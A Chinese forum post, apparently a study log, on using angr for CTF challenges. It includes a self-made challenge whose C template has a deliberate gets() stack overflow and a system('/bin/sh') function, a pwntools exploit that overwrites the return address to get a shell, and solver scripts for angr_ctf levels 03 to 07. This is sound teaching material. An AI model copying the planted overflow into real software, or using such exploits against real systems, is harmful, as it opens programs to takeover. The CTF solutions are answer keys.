首页
社区
课程
招聘
[原创]angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目
2021-6-30 17:20 15513

[原创]angr学习(三)一道自己模仿着出的简单题和angr-ctf符号化输入相关题目

2021-6-30 17:20
15513

angr学习(三)

一道自己模仿着出的题目

之前学习01_angr_avoid就很奇怪它是怎么生成这样一个有很多重复函数的程序的,后来五一期间,由于某个需求,本菜鸡就硬着头皮想自己也仿着出一个类似的题。还好angr_ctf仓库有相应的源码,是用python的模版引擎templite生成的。下面就是这道题,没有新意,有点套娃的感觉,angr接一个简单栈溢出。当时临时通知,时间紧任务还算有点重(还有其他的)?平时没这方面准备,出完后也没想那么多,现在再看有点……,不要喷我,贴出来只是学习一下怎么用python代码生成那种c程序。

  • 生成题目程序的python代码(generate.py)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env pypy
import sys, random, os, tempfile
from templite import Templite
 
def generate(argv):
  if len(argv) != 3:
    print 'Usage: pypy generate.py [seed] [output_file]'
    sys.exit()
 
  seed = argv[1]
  output_file = argv[2]
 
  random.seed(seed)
 
  # 获取描述文字
  description = ''
  with open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'description.txt'), 'r') as desc_file:
    description = desc_file.read().encode('string_escape').replace('\"', '\\\"')
 
  random_list = [random.choice([True, False]) for _ in xrange(64)]
  # 读取模板文件auto.c.templite
  template = open(os.path.join(os.path.dirname(os.path.realpath(__file__)), 'auto.c.templite'), 'r').read()
  # 渲染模板,传入描述文字和随机boolean列表,得到c代码
  c_code = Templite(template).render(description=description, random_list=random_list)
 
  # 写c代码到c文件,并调用gcc进行编译
  with tempfile.NamedTemporaryFile(delete=False, suffix='.c') as temp:
    temp.write(c_code)
    temp.seek(0)
    os.system('gcc -m32 -fno-stack-protector -o ' + output_file + ' ' + temp.name)
 
if __name__ == '__main__':
  generate(sys.argv)
  • 描述文字(description.txt)
1
Welcome~~~

对于angr_ctf题目,这个文件存储的就是 placeholder,print_msg打印的就是从它获取的内容。

  • 模板文件(auto.c.templite)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
${
import random, os
random.seed(os.urandom(8))
userdef_charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
userdef = ''.join(random.choice(userdef_charset) for _ in range(8)) # 随机选取8个字母当作userdef,也就是最后输入要比较的字符串
 
def check_string_recursive(array0, array1, random_list, bit):
  if bit < 0:
    write('aas(%s, %s);' % (array0, array1))
  else:
    if random_list[0]: # 如果随机boolean列表第一个元素为True
      write('if (CHECK_BIT(%s, %d) == CHECK_BIT(%s, %d)) {' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1# 递归调用
      write('} else { aaz(); ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('}')
    else: # 如果随机boolean列表第一个元素为False
      write('if (CHECK_BIT(%s, %d) != CHECK_BIT(%s, %d)) { aaz();' % (array0, bit, array1, bit))
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 将should_succeed设置为0之后再递归调用
      write('} else { ')
      check_string_recursive(array0, array1, random_list[1:], bit-1) # 递归调用
      write('}')
}$
 
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
 
#define USERDEF "${ userdef }$"
#define LEN_USERDEF ${ write(len(userdef)) }$
 
// return true if nth bit of array is 1
#define CHECK_BIT(array, bit_index) (!!(((uint8_t*) array)[bit_index / 8] & (((uint8_t) 0x1) << (bit_index % 8))))
 
char msg[] =
  "${ description }$";
 
uint8_t should_succeed = 1;
 
void print_msg() {
  printf("%s", msg);
}
 
int complex_function(int value, int i) { // 。。。复杂运算,直接就遍历出来了,应该改复杂一些的
#define LAMBDA 5
  if (!('A' <= value && value <= 'Z')) {
    printf("Try again.\n");
    exit(1);
  }
  return ((value - 'A' + (LAMBDA * i)) % ('Z' - 'A' + 1)) + 'A';
}
 
void aaz() {
  should_succeed = 0;
}
 
void get_sh(){
  system("/bin/sh");
}
 
int login_again() {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  setbuf(stdin, NULL);
 
  char pwd[64];
  printf("Enter the password again: ");
  gets(&pwd);  // 栈溢出
  if(strcmp(pwd,"deadbeef") == 0){
    puts("I think you can't get shell");
  }else{
    puts("Error.");
  }
  return 0;
}
 
void aas(char* compare0, char* compare1) {
  if (should_succeed && !strncmp(compare0, compare1, 8)) { // 如果should_succeed为真,且进行复杂运算之后的输入和userdef相等,就进入下一步
    login_again();
  } else {
    printf("Error.\n");
  }
}
 
int main(int argc, char* argv[]) {
 
  char buffer[20];
  char password[20];
 
  //print_msg();
 
  for (int i=0; i < 20; ++i) {
    password[i] = 0;
  }
 
  strncpy(password, USERDEF, LEN_USERDEF); // password = USERDEF,最后要和输入比较的字符串
 
  printf("Enter the password: "); // 输入
  scanf("%8s", buffer);
 
  for (int i=0; i<LEN_USERDEF; ++i) { // 对输入进行复杂运算
    buffer[i] = (char) complex_function(buffer[i], i);
  }
  // 递归调用,也就是这里生成很多函数
  ${ check_string_recursive('buffer', 'password', random_list, 12) }$
}

运行生成二进制文件:

1
python generate.py 123 auto

image-20210630161445362

 

利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# auto_angr.py
import angr
import sys
 
def main(argv):
  path_to_binary = './auto2'
  project = angr.Project(path_to_binary)
  initial_state = project.factory.entry_state()
  simulation = project.factory.simgr(initial_state)
 
  success_address = 0x0804874A
  will_not_succeed_address = 0x08048658
  simulation.explore(find=success_address, avoid=will_not_succeed_address)
 
  if simulation.found:
    solution_state = simulation.found[0]
    print(solution_state.posix.dumps(sys.stdin.fileno()))
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)
1
2
3
4
5
6
7
8
9
10
11
12
# auto_exp.py
from pwn import *
#context.log_level = 'debug'
p = process('./auto')
 
#p = remote('127.0.0.1',10001)
p.recvuntil('password: \n')
p.send('UXYUKVNZ')
p.recvuntil('again: \n')
p.sendline(b'a'*0x4c + p32(0x08048665))
p.recvline()
p.interactive()

image-20210630162649656

 

image-20210630162729174

 

下面继续以前写了一半就丢一边的其他题目。

03_angr_symbolic_registers

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了PIE

image-20210102183600870

步骤二:IDA静态分析

分析完后发现程序的功能是:以十六进制格式输入3个值,然后分别对他们做不同的复杂运算,最后判断三个复杂运算的结果,如果都为假,那么会打印“Good Job.”。

 

image-20210102185155416

 

那是怎么判断出传入complex_function1complex_function2complex_function3 的参数是输入的三个变量的呢?首先来看一看要求以十六进制格式输入三个值的输入函数get_user_input

 

image-20210102185656396

 

然后,main函数中的v4get_user_input函数的返回值,很明显就是第一个输入值了。main函数中的v3由上方声明处的注释可知是ebx的值,v6v5赋值,是edx的值。都是寄存器中值,那就说明它们的值不是预先定义好,猜测是对应输入函数get_user_input里的v2和v3,那么去查看输入函数get_user_input的汇编代码。输入之后,分别把输入值先后赋值给了eax、ebx和edx,刚好对应main函数的v4、v3和v6。

 

image-20210102190505083

 

接着,我们想想怎么解题。这一题和前面的题目最大的不同就是要符号化输入,前面三题之所以没有对输入进行符号化是因为输入很简单,angr自动对其进行符号化了,以便输入函数将符号值注入到寄存器中。这一题因为输入scanf函数中的格式化字符串更复杂,目前angr不支持从scanf函数读取多个值,所以需要我们往寄存器中手动注入符号。

 

image-20210102213430758

 

本题就需要对这三个寄存器进行注入,并且告诉模拟引擎在scanf函数之后开始。

 

image-20210102212325874

 

结合汇编代码如下图所示。

 

image-20210102213236563

 

开始地址是:0x80488d1

 

image-20210102213916953

当输入复杂,需要手动注入符号值的几个情况:

  • scanf的格式化字符串复杂
  • 输入来自文件
  • 输入来自网络
  • 输入来自UI交互

步骤三:使用angr解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = argv[1]
  project = angr.Project(path_to_binary)
 
  # 这里我们指定符号执行引擎开始的地方
  # 注意,这里state的构造函数用的是blank_state,构造了一个空白state,不再是entry_state了
  start_address = 0x80488d1  # :integer (probably hexadecimal)
  initial_state = project.factory.blank_state(addr=start_address)
 
  # 创建一个符号位向量(angr用于给二进制文件注入符号值的数据类型)
  password0_size_in_bits = 32  # :integer
  password0 = claripy.BVS('password0', password0_size_in_bits)
 
  password1_size_in_bits = 32  # :integer
  password1 = claripy.BVS('password1', password1_size_in_bits)
 
  password2_size_in_bits = 32  # :integer
  password2 = claripy.BVS('password2', password2_size_in_bits)
 
  # 将寄存器设置为符号值。 这是向程序中注入符号的一种方法。
  # 将不同寄存器设置为不同的符号值
  initial_state.regs.eax = password0
  initial_state.regs.ebx = password1
  initial_state.regs.edx = password2
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
 
    # 使用eval来得到求解值
    # 原解题脚本的state.se已经被废弃,根据提示使用state.solver
    solution0 = solution_state.solver.eval(password0)
    solution1 = solution_state.solver.eval(password1)
    solution2 = solution_state.solver.eval(password2)
 
    # 汇总并格式化上面的结果,最后打印出来
    solution = ' '.join(map('{:x}'.format, [ solution0, solution1, solution2 ]))  # :string
    print(solution)
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)

运行结果:

 

image-20210102220626889

  • Bitvectors:可以看angrctf里的ppt,很清楚,这里就不再贴了。

  • eval

    • solver.eval(expression) 将会解出一个可行解
    • solver.eval_one(expression)将会给出一个表达式的可行解,若有多个可行解,则抛出异常。
    • solver.eval_upto(expression, n)将会给出最多n个可行解,如果不足n个就给出所有的可行解。
    • solver.eval_exact(expression, n)将会给出n个可行解,如果解的个数不等于n个,将会抛出异常。
    • solver.min(expression)将会给出最小可行解
    • solver.max(expression)将会给出最大可行解

04_angr_symbolic_stack

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了Canary和PIE

image-20210102215817440

步骤二:IDA静态分析

image-20210629174704700

 

这里同样的,scanf的格式化字符串有两个参数,相对“复杂”。因为对于scanf函数,angr只能自动注入一个参数,所以需要我们手动进行注入。同时在对输入符号化后还需找到启动程序的地方。

 

image-20210629194135931

 

调用函数scanf对应的汇编代码如下所示,红框中的代码为调用scanf函数的过程。

 

image-20210629194026620

 

v1的地址是ebp-0x10,v2的地址是ebp-0xc,函数handle_user调用scanf函数前后栈的结构如下图所示。所以,很明显,add esp,10h指令才是调用scanf函数的最后一条指令。因此,angr启动该程序的地址应该设置为0x08048697。

 

image-20210629204838623

 

上一题只需要把符号值注入给寄存器,然后从指定地址启动程序就可以了,但是这一题不一样,要符号化的输入在栈里,所以我们需要在启动该程序之前自己构造相应的栈结构。

 

方法是通过state.stack_push(my_bitvector)来将值my_bitvector push到栈顶。另外,如果需要push一些无用的数据,则可以使用类似state.regs.esp-=4的代码来达到目的,这行代码实现的就是填充4字节的padding。

 

因为这一题关闭了Canary,所以v2和ebp之间只填充无用数据就可以。

步骤三:使用angr解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = './04_angr_symbolic_stack'
  project = angr.Project(path_to_binary)
 
  # 启动地址设置为 add esp, 10h的下一条指令的地址
  start_address = 0x8048697
  initial_state = project.factory.blank_state(addr=start_address)
 
  # 开始构造栈结构
  # 最初,ebp和esp的值相等
  initial_state.regs.ebp = initial_state.regs.esp
 
  # 两个位向量,符号化输入
  password0 = claripy.BVS('password0', 32)
  password1 = claripy.BVS('password1', 32)
 
  # 由上面的栈结构图可知ebp距离输入8字节,所以先填充8字节无用数据
  padding_length_in_bytes = 8  # :integer
  initial_state.regs.esp -= padding_length_in_bytes
 
  # 然后填充两个位向量
  initial_state.stack_push(password0)  # :bitvector (claripy.BVS, claripy.BVV, claripy.BV)
  initial_state.stack_push(password1)
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
    # 求解
    solution0 = solution_state.se.eval(password0)
    solution1 = solution_state.se.eval(password1)
 
    solution = ' '.join(map(str, [ solution0, solution1 ]))
    print(solution)
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)

运行结果:

 

image-20210102220436236

05_angr_symbolic_memory

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • Canary和PIE关闭

image-20210102220803629

步骤二:IDA静态分析

image-20210629214806006

 

解题思路和上一题是一样的,不过这里使用state.memory.store(address, value)将全局变量的值修改为符号值(操作一段连续的内存)。

 

image-20210629211803353

 

启动地址:0x8048606。

 

image-20210629222225378

步骤三:使用angr解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = './05_angr_symbolic_memory'
  project = angr.Project(path_to_binary)
 
  start_address = 0x8048606
  initial_state = project.factory.blank_state(addr=start_address)
 
  # scanf("%8s %8s %8s %8s").
  password0 = claripy.BVS('password0', 8*8)
  password1 = claripy.BVS('password1', 8*8)
  password2 = claripy.BVS('password2', 8*8)
  password3 = claripy.BVS('password3', 8*8)
 
  # 修改全局变量的值为符号值
  password0_address = 0xa29faa0
  initial_state.memory.store(password0_address, password0)
  password1_address = 0xa29faa8
  initial_state.memory.store(password1_address, password1)
  password2_address = 0xa29fab0
  initial_state.memory.store(password2_address, password2)
  password3_address = 0xa29fab8
  initial_state.memory.store(password3_address, password3)
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
 
    # 求解
    solution0 = solution_state.solver.eval(password0,cast_to=bytes)
    solution1 = solution_state.solver.eval(password1,cast_to=bytes)
    solution2 = solution_state.solver.eval(password2,cast_to=bytes)
    solution3 = solution_state.solver.eval(password3,cast_to=bytes)
 
    solution = solution0 + b' '+ solution1 + b' ' + solution2 + b' ' + solution3
 
    #solution = ' '.join([ solution0, solution1, solution2, solution3 ])
 
    print(solution.decode('utf-8'))
  else:
    raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)

运行结果:

 

image-20210103194854392

06_angr_symbolic_dynamic_memory

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了Canary和PIE

image-20210102221914520

步骤二:IDA静态分析

image-20210629215952660

 

分配动态内存的程序的一般执行流程如下图所示。

 

image-20210629215452950

 

既然heap上的内存地址会变化,那么我们可以选择两个未被使用的内存地址,并覆盖两个buffer指针分别指向它们。因为buffer0和buffer1是全局变量且程序关闭了PIE,所以是可以实现的。

 

image-20210629221053828

 

启动地址:0x804869e

 

image-20210629222110381

步骤三:使用angr解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import angr
import claripy
import sys
 
def main(argv):
  path_to_binary = './06_angr_symbolic_dynamic_memory'
  project = angr.Project(path_to_binary)
  # 启动地址
  start_address = 0x804869e
  initial_state = project.factory.blank_state(addr=start_address)
 
  #scanf("%8s %8s").
  password0 = claripy.BVS('password0', 8*8)
  password1 = claripy.BVS('password1', 8*8)
 
  # 修改两个全局指针buffer的值为没有被使用的地址(伪造的heap地址)
  fake_heap_address0 = 0x4444444
  pointer_to_malloc_memory_address0 = 0xa79a118
  initial_state.memory.store(pointer_to_malloc_memory_address0, fake_heap_address0, endness=project.arch.memory_endness)
  fake_heap_address1 = 0x4444454
  pointer_to_malloc_memory_address1 = 0xa79a120
  initial_state.memory.store(pointer_to_malloc_memory_address1, fake_heap_address1, endness=project.arch.memory_endness)
 
  # 修改伪造的heap的内容为符号值
  initial_state.memory.store(fake_heap_address0, password0)
  initial_state.memory.store(fake_heap_address1, password1)
 
  simulation = project.factory.simgr(initial_state)
 
  def is_successful(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Good Job.' in str(stdout_output)
 
  def should_abort(state):
    stdout_output = state.posix.dumps(sys.stdout.fileno())
    return 'Try again.' in str(stdout_output)
 
  simulation.explore(find=is_successful, avoid=should_abort)
 
  if simulation.found:
    solution_state = simulation.found[0]
    # 求解
    solution0 = solution_state.solver.eval(password0,cast_to=bytes)
    solution1 = solution_state.solver.eval(password1,cast_to=bytes)
 
    #solution = ' '.join([ solution0, solution1 ])
    solution = solution0 + b' ' + solution1
    print(solution.decode('utf-8'))
  else:
      raise Exception('Could not find the solution')
 
if __name__ == '__main__':
  main(sys.argv)

cast_to:可以接收一个参数来指定把结果映射到哪种数据类型。目前这个参数只能是str,它将会以字符串形式展示返回的结果

 

运行结果:

 

image-20210103195546043

07_angr_symbolic_file

步骤一:查看文件属性和检查安全机制

  • 32位程序
  • 关闭了PIE

image-20210102222016102

步骤二:IDA静态分析

image-20210630093643071

 

image-20210630093713228

 

这一题的目的是想要让我们学会:当输入来自文件(包括网络、另一个程序的输出和/dev/urandom等),那么如何符号化输入。

 

image-20210629223443461

 

方法就是将整个文件都符号化。在angr中,与文件系统、套接字、管道或终端的任何交互的根源都是一个 SimFile 对象。SimFile 是一种存储抽象,它定义一个字节序列,不管是符号的还是其他的。

 

通过SimFile创建一个有具体内容的文件的方法:

1
2
3
4
5
6
# 内容为字符串
password = angr.storage.SimFile(filename, content='hello world!\n',size=len('hello world!\n'))
# 内容为符号值
symbolic_file_size_bytes = 64
password = claripy.BVS('password', symbolic_file_size_bytes * 8)
password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes)

接着,如果想让 SimFile 对程序可用,我们需要将它放在文件系统中,模拟的文件系统是 state.fs插件。将模拟文件放入文件系统有两种方法,一是在创建初始状态的同时将模拟文件存储进去:

1
initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})

二是在创建初始状态之后单独使用insert将文件存储到文件系统中,另外还可以使用 getdelete 方法从文件系统中加载和删除文件。更多关于SimFile的内容可看官方文档

 

image-20210629223810333

 

启动地址仍然是找输入之后的指令:0x080488DB。

 

image-20210630110405946

步骤三:使用angr解题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import angr
import sys
import claripy
 
def main(argv):
    path_to_binary = "./07_angr_symbolic_file"
    project = angr.Project(path_to_binary)
    start_address =  0x80488DB
 
    filename = 'WCEXPXBW.txt'
    symbolic_file_size_bytes = 64
    # 位向量,符号化
    password = claripy.BVS('password', symbolic_file_size_bytes * 8)
    # 模拟一个文件(文件名,文件内容,文件大小)
    password_file = angr.storage.SimFile(filename, content=password, size=symbolic_file_size_bytes)
    # 创建初始化状态时,创建模拟文件
    initial_state = project.factory.blank_state(addr=start_address,fs={filename:password_file})
 
    simulation = project.factory.simgr(initial_state)
 
    def is_successful(state):
        stdout_output = state.posix.dumps(sys.stdout.fileno())
        return 'Good Job.' in str(stdout_output)
 
    def should_abort(state):
        stdout_output = state.posix.dumps(sys.stdout.fileno())
        return 'Try again.' in str(stdout_output)
 
    simulation.explore(find=is_successful, avoid=should_abort)
 
    if simulation.found:
        solution_state = simulation.found[0]
        # 求解
        solution = solution_state.solver.eval(password, cast_to=bytes)
        print(solution.decode('utf-8'))
        #print(solution)
    else:
        raise Exception('Could not find the solution')
 
if __name__ == "__main__":
    main(sys.argv)

运行结果:
image-20210630110125858

参考文献


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2021-7-1 18:14 被ztree编辑 ,原因:
上传的附件:
  • auto (567.78kb,10次下载)
收藏
点赞3
打赏
分享
最新回复 (9)
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
霸霸XD 2021-11-10 09:13
2
0
学习了,师傅tql
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
霸霸XD 2021-11-10 14:25
3
0
  # 开始构造栈结构
  # 最初,ebp和esp的值相等
  initial_state.regs.ebp = initial_state.regs.esp
师傅,这里不应该是将 ebp 赋值给 esp 吗
还是 old ebp 前面的数据没用到,只要栈空间结构一样就行,具体位置无所谓 ?
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
霸霸XD 2021-11-10 14:28
4
0
两种我都试了,结果是一样的,这不影响结果吗
雪    币: 10958
活跃值: (7723)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
ztree 6 2021-11-10 17:09
5
0
霸霸XD # 开始构造栈结构 # 最初,ebp和esp的值相等 initial_state.regs.ebp = initial_state.regs.esp 师傅,这里不应该是将 ebp 赋 ...
不是,是把esp的值给ebp。initial_state.regs.ebp = initial_state.regs.esp这一行是模仿 0x804867A的mov ebp, esp。

那题是从一个程序的中间开始模拟执行,所以python代码15~27是在模拟汇编0x804867A~0x8048694对栈空间所做的操作,是构造原程序调用scanf之后的栈结构。

old ebp 前面的数据是没用到的,只要栈空间结构一样就行。我想到两个原因:
1)模拟执行是在handle_user()函数中调用scanf函数后开始的,并且模拟执行在handle_user()函数中结束,不涉及到handle_user函数的调用者,所以只要构造出call handle_user之后,call scanf之后的栈空间就可以。
2)initial_state是blank_state,你可以在开始构造前打印一下initial_state.regs.ebp和initial_state.regs.esp。ebp是一个不受约束的符号值,而esp的值是0x7fff0000,是进程空间的最高地址,所以old ebp前面的数据肯定是没用到的。

之所以结果一样,是因为对于后面的操作来说,mov ebp,esp和 mov esp,ebp的效果是一样的,都是让ebp和esp的值一样,不影响后面的操作。
雪    币: 0
活跃值: (73)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
霸霸XD 2021-11-11 14:56
6
0
感谢师傅解答
雪    币: 1446
活跃值: (846)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
0xRGz 1 2021-12-4 16:54
7
0
好评
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_oexecrwb 2021-12-4 22:15
8
0
老哥这个angr的模板引擎依赖No module named 'templite' 哪里有的下的搜了一圈没看到.
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_oexecrwb 2021-12-4 22:23
9
0
额搜到了pip install templite就好了
雪    币: 1446
活跃值: (846)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
0xRGz 1 2021-12-5 00:56
10
0
感觉写的比安全客上的好一点
游客
登录 | 注册 方可回帖
返回